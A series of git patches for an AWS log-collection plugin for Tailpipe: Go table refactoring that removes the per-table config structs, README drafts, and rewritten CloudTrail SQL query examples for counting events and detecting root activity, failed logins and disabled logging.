*ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, _ *ElbAccessLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.ElbAccessLog, error) { +func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.ElbAccessLog, error) { row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization diff --git a/tables/elb_access_log_table_config.go b/tables/elb_access_log_table_config.go deleted file mode 100644 index 526d55c5..00000000 --- a/tables/elb_access_log_table_config.go +++ /dev/null @@ -1,13 +0,0 @@ -package tables - -type ElbAccessLogTableConfig struct { -} - -func (a ElbAccessLogTableConfig) Validate() error { - // TODO: #config validate the config - return nil -} - -func (ElbAccessLogTableConfig) Identifier() string { - return ElbAccessLogTableIdentifier -} diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index 80debbfd..a38c760d 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -4,15 +4,14 @@ import ( "time" "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -23,7 +22,7 @@ func init() { // 1. row struct // 2. table config struct // 3. table implementation - table.RegisterTable[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *GuardDutyFindingTable]() + table.RegisterTable[*rows.GuardDutyFinding, *GuardDutyFindingTable]() } // GuardDutyFindingTable - table for GuardDuty Findings @@ -33,7 +32,7 @@ func (c *GuardDutyFindingTable) Identifier() string { return GuardDutyFindingTableIdentifier } -func (c *GuardDutyFindingTable) GetSourceMetadata(_ *GuardDutyFindingTableConfig) []*table.SourceMetadata[*rows.GuardDutyFinding] { +func (c *GuardDutyFindingTable) GetSourceMetadata() []*table.SourceMetadata[*rows.GuardDutyFinding] { defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), } @@ -50,7 +49,7 @@ func (c *GuardDutyFindingTable) GetSourceMetadata(_ *GuardDutyFindingTableConfig } } -func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, _ *GuardDutyFindingTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.GuardDutyFinding, error) { +func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnrichmentFields schema.SourceEnrichment) (*rows.GuardDutyFinding, error) { row.CommonFields = sourceEnrichmentFields.CommonFields row.TpID = xid.New().String() row.TpTimestamp = row.CreatedAt diff --git a/tables/guardduty_finding_table_config.go b/tables/guardduty_finding_table_config.go deleted file mode 100644 index 8d1b3699..00000000 --- a/tables/guardduty_finding_table_config.go +++ /dev/null @@ -1,11 +0,0 @@ -package tables - -type GuardDutyFindingTableConfig struct{} - -func (c GuardDutyFindingTableConfig) Validate() error { - return nil -} - -func (GuardDutyFindingTableConfig) Identifier() string { - return GuardDutyFindingTableIdentifier -} diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index f7039c86..db32be15 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -8,8 +8,8 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -20,7 +20,7 @@ func init() { // 1. row struct // 2. table config struct // 3. table implementation - table.RegisterTable[*rows.LambdaLog, *LambdaLogTableConfig, *LambdaLogTable]() + table.RegisterTable[*rows.LambdaLog, *LambdaLogTable]() } type LambdaLogTable struct{} @@ -29,7 +29,7 @@ func (c *LambdaLogTable) Identifier() string { return LambdaLogTableIdentifier } -func (c *LambdaLogTable) GetSourceMetadata(_ *LambdaLogTableConfig) []*table.SourceMetadata[*rows.LambdaLog] { +func (c *LambdaLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.LambdaLog] { return []*table.SourceMetadata[*rows.LambdaLog]{ { // any artifact source @@ -42,7 +42,7 @@ func (c *LambdaLogTable) GetSourceMetadata(_ *LambdaLogTableConfig) []*table.Sou } } -func (c *LambdaLogTable) EnrichRow(row *rows.LambdaLog, _ *LambdaLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.LambdaLog, error) { +func (c *LambdaLogTable) EnrichRow(row *rows.LambdaLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.LambdaLog, error) { row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization diff --git a/tables/lambda_log_table_config.go b/tables/lambda_log_table_config.go deleted file mode 100644 index 774d7534..00000000 --- a/tables/lambda_log_table_config.go +++ /dev/null @@ -1,13 +0,0 @@ -package tables - -type LambdaLogTableConfig struct { -} - -func (a LambdaLogTableConfig) Validate() error { - // TODO: #config validate the config - return nil -} - -func (LambdaLogTableConfig) Identifier() string { - return LambdaLogTableIdentifier -} diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 55276124..6b710329 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -7,8 +7,9 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/mappers" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -21,7 +22,7 @@ func init() { // 1. row struct // 2. table config struct // 3. table implementation - table.RegisterTable[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *S3ServerAccessLogTable]() + table.RegisterTable[*rows.S3ServerAccessLog, *S3ServerAccessLogTable]() } type S3ServerAccessLogTable struct{} @@ -30,18 +31,18 @@ func (c *S3ServerAccessLogTable) Identifier() string { return S3ServerAccessLogTableIdentifier } -func (c *S3ServerAccessLogTable) GetSourceMetadata(_ *S3ServerAccessLogTableConfig) []*table.SourceMetadata[*rows.S3ServerAccessLog] { +func (c *S3ServerAccessLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.S3ServerAccessLog] { return []*table.SourceMetadata[*rows.S3ServerAccessLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - Mapper: table.NewRowPatternMapper[*rows.S3ServerAccessLog](s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced), + Mapper: mappers.NewGonxMapper[*rows.S3ServerAccessLog](s3ServerAccessLogFormat, s3ServerAccessLogFormatReduced), Options: []row_source.RowSourceOption{artifact_source.WithRowPerLine()}, }, } } -func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, _ *S3ServerAccessLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.S3ServerAccessLog, error) { +func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.S3ServerAccessLog, error) { // TODO: #validate ensure we have a timestamp field // add any source enrichment fields diff --git a/tables/s3_server_access_log_table_config.go b/tables/s3_server_access_log_table_config.go deleted file mode 100644 index 2104fd78..00000000 --- a/tables/s3_server_access_log_table_config.go +++ /dev/null @@ -1,13 +0,0 @@ -package tables - -type S3ServerAccessLogTableConfig struct { -} - -func (a S3ServerAccessLogTableConfig) Validate() error { - // TODO: #config validate the config - return nil -} - -func (S3ServerAccessLogTableConfig) Identifier() string { - return S3ServerAccessLogTableIdentifier -} diff --git a/tables/securityhub_finding_table.go b/tables/securityhub_finding_table.go index ea3a7082..22360d3f 100644 --- a/tables/securityhub_finding_table.go +++ b/tables/securityhub_finding_table.go @@ -4,15 +4,14 @@ import ( "time" "github.com/rs/xid" - "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -20,7 +19,7 @@ const SecurityHubFindingTableIdentifier = "aws_securityhub_finding" // register the table from the package init function func init() { - table.RegisterTable[*rows.SecurityHubFinding, *SecurityHubFindingTableConfig, *SecurityHubFindingTable]() + table.RegisterTable[*rows.SecurityHubFinding, *SecurityHubFindingTable]() } type SecurityHubFindingTable struct{} @@ -29,7 +28,7 @@ func (c *SecurityHubFindingTable) Identifier() string { return SecurityHubFindingTableIdentifier } -func (c *SecurityHubFindingTable) GetSourceMetadata(_ *SecurityHubFindingTableConfig) []*table.SourceMetadata[*rows.SecurityHubFinding] { +func (c *SecurityHubFindingTable) GetSourceMetadata() []*table.SourceMetadata[*rows.SecurityHubFinding] { defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/SecurityHub/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/findings\\.json\\.gz"), } @@ -45,7 +44,7 @@ func (c *SecurityHubFindingTable) GetSourceMetadata(_ *SecurityHubFindingTableCo } } -func (c *SecurityHubFindingTable) EnrichRow(row *rows.SecurityHubFinding, _ *SecurityHubFindingTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.SecurityHubFinding, error) { +func (c *SecurityHubFindingTable) EnrichRow(row *rows.SecurityHubFinding, sourceEnrichmentFields schema.SourceEnrichment) (*rows.SecurityHubFinding, error) { row.CommonFields = sourceEnrichmentFields.CommonFields row.TpID = xid.New().String() diff --git a/tables/securityhub_finding_table_config.go b/tables/securityhub_finding_table_config.go deleted file mode 100644 index 1bad1641..00000000 --- a/tables/securityhub_finding_table_config.go +++ /dev/null @@ -1,13 +0,0 @@ -package tables - -type SecurityHubFindingTableConfig struct { -} - -func (a SecurityHubFindingTableConfig) Validate() error { - // TODO: #config validate the config - return nil -} - -func (SecurityHubFindingTableConfig) Identifier() string { - return SecurityHubFindingTableIdentifier -} diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index d826b252..4ad6a78f 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -8,30 +8,37 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) const VpcFlowLogTableIdentifier = "aws_vpc_flow_log" func init() { - // Register the table, with type parameters: // 1. row struct - // 2. table config struct + // 2. input format struct // 3. table implementation - table.RegisterTable[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *VpcFlowLogTable]() + table.RegisterTableFormat[*rows.VpcFlowLog, *VpcFlowLogTableFormat, *VpcFlowLogTable]() } // VpcFlowLogTable - table for VPC Flow Logs -type VpcFlowLogTable struct{} +type VpcFlowLogTable struct { + table.TableWithFormatImpl[*VpcFlowLogTableFormat] +} + +func (c *VpcFlowLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.VpcFlowLog] { + fields := DefaultFlowLogFields + // if Format was provided in config, it will have been populated by the factory + if c.Format != nil { + fields = c.Format.Fields + } -func (c *VpcFlowLogTable) GetSourceMetadata(partitionConfig *VpcFlowLogTableConfig) []*table.SourceMetadata[*rows.VpcFlowLog] { return []*table.SourceMetadata[*rows.VpcFlowLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - Mapper: mappers.NewVpcFlowLogMapper(partitionConfig.Fields), + Mapper: mappers.NewVpcFlowLogMapper(fields), Options: []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), }, @@ -45,7 +52,7 @@ func (c *VpcFlowLogTable) Identifier() string { } // EnrichRow implements table.Table -func (c *VpcFlowLogTable) EnrichRow(row *rows.VpcFlowLog, _ *VpcFlowLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.VpcFlowLog, error) { +func (c *VpcFlowLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.VpcFlowLog, error) { // initialize the enrichment fields to any fields provided by the source row.CommonFields = sourceEnrichmentFields.CommonFields diff --git a/tables/vpc_flow_log_table_config.go b/tables/vpc_flow_log_table_format.go similarity index 77% rename from tables/vpc_flow_log_table_config.go rename to tables/vpc_flow_log_table_format.go index 203cfab1..fb6441c7 100644 --- a/tables/vpc_flow_log_table_config.go +++ b/tables/vpc_flow_log_table_format.go @@ -17,12 +17,12 @@ var DefaultFlowLogFields = []string{ "log-status", } -type VpcFlowLogTableConfig struct { +type VpcFlowLogTableFormat struct { // the fields to extract from the flow log Fields []string `hcl:"fields,optional"` } -func (c VpcFlowLogTableConfig) Validate() error { +func (c VpcFlowLogTableFormat) Validate() error { // set default fields if none are specified if len(c.Fields) == 0 { c.Fields = DefaultFlowLogFields @@ -31,6 +31,6 @@ func (c VpcFlowLogTableConfig) Validate() error { return nil } -func (VpcFlowLogTableConfig) Identifier() string { +func (VpcFlowLogTableFormat) Identifier() string { return VpcFlowLogTableIdentifier } diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index df6be038..c8977db2 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -11,8 +11,8 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/schema" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -23,13 +23,13 @@ func init() { // 1. row struct // 2. table config struct // 3. table implementation - table.RegisterTable[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *WafTrafficLogTable]() + table.RegisterTable[*rows.WafTrafficLog, *WafTrafficLogTable]() } // WafTrafficLogTable - table for Waf traffic logs type WafTrafficLogTable struct{} -func (c *WafTrafficLogTable) GetSourceMetadata(_ *WafTrafficLogTableConfig) []*table.SourceMetadata[*rows.WafTrafficLog] { +func (c *WafTrafficLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.WafTrafficLog] { // the default file layout for Waf traffic logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/(?P\\d+)/WAFLogs/(?P[a-zA-Z0-9-_]+)/(?P[a-z0-9-]+)/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/(?P\\d{2})/(?P.+\\.gz)"), @@ -50,7 +50,7 @@ func (c *WafTrafficLogTable) Identifier() string { } // EnrichRow implements table.Table -func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, _ *WafTrafficLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source +func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization diff --git a/tables/waf_traffic_log_table_config.go b/tables/waf_traffic_log_table_config.go deleted file mode 100644 index 2cca4255..00000000 --- a/tables/waf_traffic_log_table_config.go +++ /dev/null @@ -1,11 +0,0 @@ -package tables - -type WafTrafficLogTableConfig struct{} - -func (c WafTrafficLogTableConfig) Validate() error { - return nil -} - -func (WafTrafficLogTableConfig) Identifier() string { - return WaftTrafficLogTableIdentifier -} From 08b1e0d370af01c5f84d134a9c88d69e6b431d07 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Fri, 3 Jan 2025 13:01:05 -0500 Subject: [PATCH 121/180] Initial README draft --- README.md | 114 +++++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 108 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index bc13b007..41998ed2 100644 --- a/README.md +++ b/README.md @@ -1,15 +1,117 @@ -# tailpipe-plugin-aws +# AWS Plugin for Tailpipe -Tailpipe plugin to collect and query AWS logs (e.g. CloudTrail). +Collect and query AWS logs using SQL to track activity, monitor trends, and detect anomalies across CloudTrail logs, S3 server access logs, ELB access logs, and more. -## Developers +- **[Get started →](https://hub.tailpipe.io/plugins/turbot/aws)** +- Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) +- Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) +- Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) + +## Quick start + +Install the plugin with [Tailpipe](https://tailpipe.io): + +```shell +tailpipe plugin install aws +``` + +Collect logs from an S3 bucket: + +```terraform +partition "aws_cloudtrail_log" "dev" { + source "aws_s3_bucket" { + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +Or from the CloudTrail API: + +```terraform +partition "aws_cloudtrail_log" "dev" { + source "aws_cloudtrail_api" { + region = "us-east-2" + } +} +``` + +```shell +tailpipe collect aws_cloudtrail_log.dev +``` + +Run a query: + +```sql +select + event_time, + event_source || ':' || event_name as operation, + user_identity +from + aws_cloudtrail_log +where + not read_only; +``` + +## Advanced configuration + +The AWS plugin has the power to: +* Collect logs from various sources, including AWS CloudWatch log groups, S3 buckets, and more +* Query multiple accounts +* Query multiple regions +* Use many different methods for credentials (roles, SSO, etc.) + +- **[Detailed configuration guide →](https://hub.tailpipe.io/plugins/turbot/aws#get-started)** + +## Developing + +Prerequisites: + +- [Tailpipe](https://tailpipe.io/downloads) +- [Golang](https://golang.org/doc/install) + +Clone: + +```sh +git clone https://github.com/turbot/tailpipe-plugin-aws.git +cd tailpipe-plugin-aws +``` + +Build, which automatically installs the new version to your `~/.tailpipe/plugins` directory: -Build a developer version of the plugin: ``` make ``` -Check it was created and installed: +TODO - What collect commands and configuration to use? + +Configure the plugin: + +``` +vi ~/.tailpipe/config/aws.spc +``` + +Try it! + ``` -ls -al ~/.tailpipe/plugins +tailpipe query +TODO - Add equivalent of .inspect ``` + +Further reading: + +- [TODO](https://tailpipe.io/docs/reference/develop/todo) + +## Open Source & Contributing + +This repository is published under the [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) (source code) and [CC BY-NC-ND](https://creativecommons.org/licenses/by-nc-nd/2.0/) (docs) licenses. Please see our [code of conduct](https://github.com/turbot/.github/blob/main/CODE_OF_CONDUCT.md). We look forward to collaborating with you! + +[Tailpipe](https://tailpipe.io) is a product produced from this open source software, exclusively by [Turbot HQ, Inc](https://turbot.com). It is distributed under our commercial terms. Others are allowed to make their own distribution of the software, but cannot use any of the Turbot trademarks, cloud services, etc. You can learn more in our [Open Source FAQ](https://turbot.com/open-source). + +## Get Involved + +**[Join #tailpipe on Slack →](https://turbot.com/community/join)** + +Want to help but don't know where to start? Pick up one of the `help wanted` issues: + +- [Tailpipe](https://github.com/turbot/tailpipe/labels/help%20wanted) +- [AWS Plugin](https://github.com/turbot/tailpipe-plugin-aws/labels/help%20wanted) From 8e2c4faa9bcfeef7108205b340db8f6e899a2931 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Fri, 3 Jan 2025 16:58:26 -0500 Subject: [PATCH 122/180] Add connection in README example --- README.md | 27 +++++++++------------------ 1 file changed, 9 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index 41998ed2..53d1f402 100644 --- a/README.md +++ b/README.md @@ -15,9 +15,13 @@ Install the plugin with [Tailpipe](https://tailpipe.io): tailpipe plugin install aws ``` -Collect logs from an S3 bucket: +Configure your log source: ```terraform +connection "aws" "dev" { + profile = "dev" +} + partition "aws_cloudtrail_log" "dev" { source "aws_s3_bucket" { bucket = "aws-cloudtrail-logs-bucket" @@ -25,15 +29,7 @@ partition "aws_cloudtrail_log" "dev" { } ``` -Or from the CloudTrail API: - -```terraform -partition "aws_cloudtrail_log" "dev" { - source "aws_cloudtrail_api" { - region = "us-east-2" - } -} -``` +Collect logs: ```shell tailpipe collect aws_cloudtrail_log.dev @@ -41,15 +37,10 @@ tailpipe collect aws_cloudtrail_log.dev Run a query: +TODO: Use a group by as well + ```sql -select - event_time, - event_source || ':' || event_name as operation, - user_identity -from - aws_cloudtrail_log -where - not read_only; +select event_time, event_source, event_name as operation, user_identity from aws_cloudtrail_log where not read_only; ``` ## Advanced configuration From 6d186efa820f06e6169debd0cad44511c47a0b00 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Mon, 6 Jan 2025 15:30:16 -0500 Subject: [PATCH 123/180] Minor README updates --- README.md | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 53d1f402..7dddea2b 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,10 @@ tailpipe plugin install aws Configure your log source: +```shell +vi ~/.tailpipe/config/aws.spc +``` + ```terraform connection "aws" "dev" { profile = "dev" @@ -37,10 +41,8 @@ tailpipe collect aws_cloudtrail_log.dev Run a query: -TODO: Use a group by as well - ```sql -select event_time, event_source, event_name as operation, user_identity from aws_cloudtrail_log where not read_only; +select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; ``` ## Advanced configuration @@ -73,7 +75,7 @@ Build, which automatically installs the new version to your `~/.tailpipe/plugins make ``` -TODO - What collect commands and configuration to use? +TODO: How to configure it? Configure the plugin: @@ -85,7 +87,7 @@ Try it! ``` tailpipe query -TODO - Add equivalent of .inspect +> .inspect ``` Further reading: From dd743114a3086f54433d1fde6e7dab1f3de22479 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Wed, 8 Jan 2025 15:29:12 -0500 Subject: [PATCH 124/180] Update AWS CloudTrail log examples --- docs/tables/aws_cloudtrail_log.md | 295 ++++++++++++++++++++++-------- 1 file changed, 216 insertions(+), 79 deletions(-) diff --git a/docs/tables/aws_cloudtrail_log.md b/docs/tables/aws_cloudtrail_log.md index e9837cc4..42e40395 100644 --- a/docs/tables/aws_cloudtrail_log.md +++ b/docs/tables/aws_cloudtrail_log.md @@ -11,203 +11,340 @@ description: "Allows users to query AWS CloudTrail logs." The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. +## Count Examples -## Examples +### Count events per day -### Detect AWS Console unsuccessful login attempts -Flags actors who failed to login to the console. +```sql +select + strftime(event_time, '%Y-%m-%d') AS event_date, + count(*) AS event_count +from + aws_cloudtrail_log +group by + event_date +order by + event_date ASC; +``` + +### Count events by event name ```sql select - epoch_ms(event_time) as event_time, + event_source, event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id, - user_agent, - additional_event_data, - request_parameters, - response_elements, - service_event_details, - resources, - user_identity + count(*) as event_count from aws_cloudtrail_log -where - event_source = 'signin.amazonaws.com' - and event_name = 'ConsoleLogin' - and (additional_event_data::json ->> 'MFAUsed') = 'Yes' - and (response_elements::json ->> 'ConsoleLogin') = 'Failure' +group by + event_source, + event_name, order by - event_time desc; + event_count desc; ``` -### Detect Access from Non-Whitelisted Locations -Flags actors accessing from unapproved locations, which may indicate unauthorized access or policy violations. +### Count events by event name (exclude read-only events) ```sql select - user_identity.arn as user_arn, - source_ip_address, - aws_region + event_source, + event_name, + count(*) as event_count from aws_cloudtrail_log where - source_ip_address not in ('trusted_location_1', 'trusted_location_2') + not read_only group by - user_identity.arn, source_ip_address, aws_region; + event_source, + event_name, +order by + event_count desc; ``` -### Detect high volume of S3 bucket access in short time -Flags accounts with a high number of S3 access events within a short period, indicating potential brute force or data exfiltration attempts. +### Count events grouped by account ID ```sql select - user_identity.arn as user_arn, - count(*) as access_count, - date_trunc('minute', event_time) as event_minute + event_source, + event_name, + recipient_account_id, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, + recipient_account_id +order by + event_count desc; +``` + +### Count errors by frequency + +```sql +select + error_code, + count(*) as event_count from aws_cloudtrail_log where - event_source = 's3.amazonaws.com' - and event_name in ('GetObject', 'PutObject', 'ListBucket') + error_code is not null group by - user_identity.arn, event_minute -having - count(*) > 100 + error_code order by - access_count desc; + event_count desc; ``` -### Detect attempts to disable CloudTrail logging -Detects if any actor attempted to stop CloudTrail logging, which may indicate an attempt to cover tracks. +## Detection Examples + +### Detect default EBS encryption disabled in a region ```sql select + event_time, + event_source, + event_name, user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'ec2.amazonaws.com' + and event_name = 'DisableEbsEncryptionByDefault' + and error_code is null +order by + event_time desc; +``` + +### Detect attempts to stop CloudTrail trail logging + +```sql +select + event_time, + event_source, event_name, - event_time + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id from aws_cloudtrail_log where event_name in ('StopLogging', 'DeleteTrail') and event_source = 'cloudtrail.amazonaws.com' + and error_code is not null order by event_time desc; ``` -### Detect IAM policy modifications -Flags actors modifying IAM policies, which may indicate privilege escalation attempts. +### Detect unsuccessful AWS console login attempts ```sql select + event_time, + event_name, user_identity.arn as user_arn, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id, + additional_event_data +from + aws_cloudtrail_log +where + event_source = 'signin.amazonaws.com' + and event_name = 'ConsoleLogin' + and error_code is not null +order by + event_time desc; +``` + +### Detect root account activity + +```sql +select + event_time, event_name, - request_parameters, - event_time + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id from aws_cloudtrail_log where - event_source = 'iam.amazonaws.com' - and event_name in ('PutUserPolicy', 'AttachUserPolicy', 'DetachUserPolicy') + user_identity.type = 'Root' order by event_time desc; ``` -### Detect unusual source IP addresses for users -Flags users accessing from unfamiliar IP addresses, which may indicate account compromise. +### Detect actions in unapproved regions ```sql select + event_time, + event_source, + event_name, user_identity.arn as user_arn, source_ip_address, - count(*) as access_count, - date_trunc('day', event_time) as access_day + aws_region, + recipient_account_id as account_id from aws_cloudtrail_log where - source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) -group by - user_identity.arn, source_ip_address, access_day -having - access_count > 5 + aws_region not in ('us-east-1', 'us-west-1') order by - access_count desc; + event_time desc; ``` -### Detect root account activity -Detects usage of the root account, which is generally a high-risk action. +### Detect actions from unapproved IP addresses ```sql select event_time, + event_source, event_name, + user_identity.arn as user_arn, source_ip_address, aws_region, - user_identity.arn as user_arn + recipient_account_id as account_id from aws_cloudtrail_log where - user_identity.type = 'Root' + source_ip_address not in ('192.0.2.146', '206.253.208.100') order by event_time desc; ``` -### Detect EC2 instance start or stop events -Flags EC2 instance start or stop actions, which could indicate unauthorized resource usage. +## Operational Examples + +### List VPC security group rule updates ```sql select - user_identity.arn as user_arn, + event_time, + event_source, event_name, - request_parameters, - event_time + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id from aws_cloudtrail_log where event_source = 'ec2.amazonaws.com' - and event_name in ('StartInstances', 'StopInstances') + and event_name in ('AuthorizeSecurityGroupEgress', 'AuthorizeSecurityGroupIngress', 'RevokeSecurityGroupEgress', 'RevokeSecurityGroupIngress') + and error_code is null order by event_time desc; ``` -### Detect IAM user deletions -Flags deletion of IAM users, which could indicate malicious attempts to remove evidence. +### List IAM user policy updates ```sql select - user_identity.arn as user_arn, + event_time, + event_source, event_name, request_parameters, - event_time + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id from aws_cloudtrail_log where event_source = 'iam.amazonaws.com' - and event_name = 'DeleteUser' + and event_name in ('AttachUserPolicy', 'DetachUserPolicy', 'PutUserPolicy') order by event_time desc; ``` -### Detect excessive role assumption -Flags actors assuming roles more frequently than usual, indicating potential privilege misuse. +## Volume Examples + +### Detect high volume of S3 bucket access in short time ```sql select user_identity.arn as user_arn, - count(*) as assumption_count, - date_trunc('hour', event_time) as assumption_hour + count(*) as event_count, + date_trunc('minute', event_time) as event_minute +from + aws_cloudtrail_log +where + event_source = 's3.amazonaws.com' + and event_name in ('GetObject', 'PutObject', 'ListBucket') +group by + user_identity.arn, + event_minute +having + count(*) > 100 +order by + event_count desc; +``` + +### Detect excessive IAM role assumption + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('hour', event_time) as event_hour from aws_cloudtrail_log where event_source = 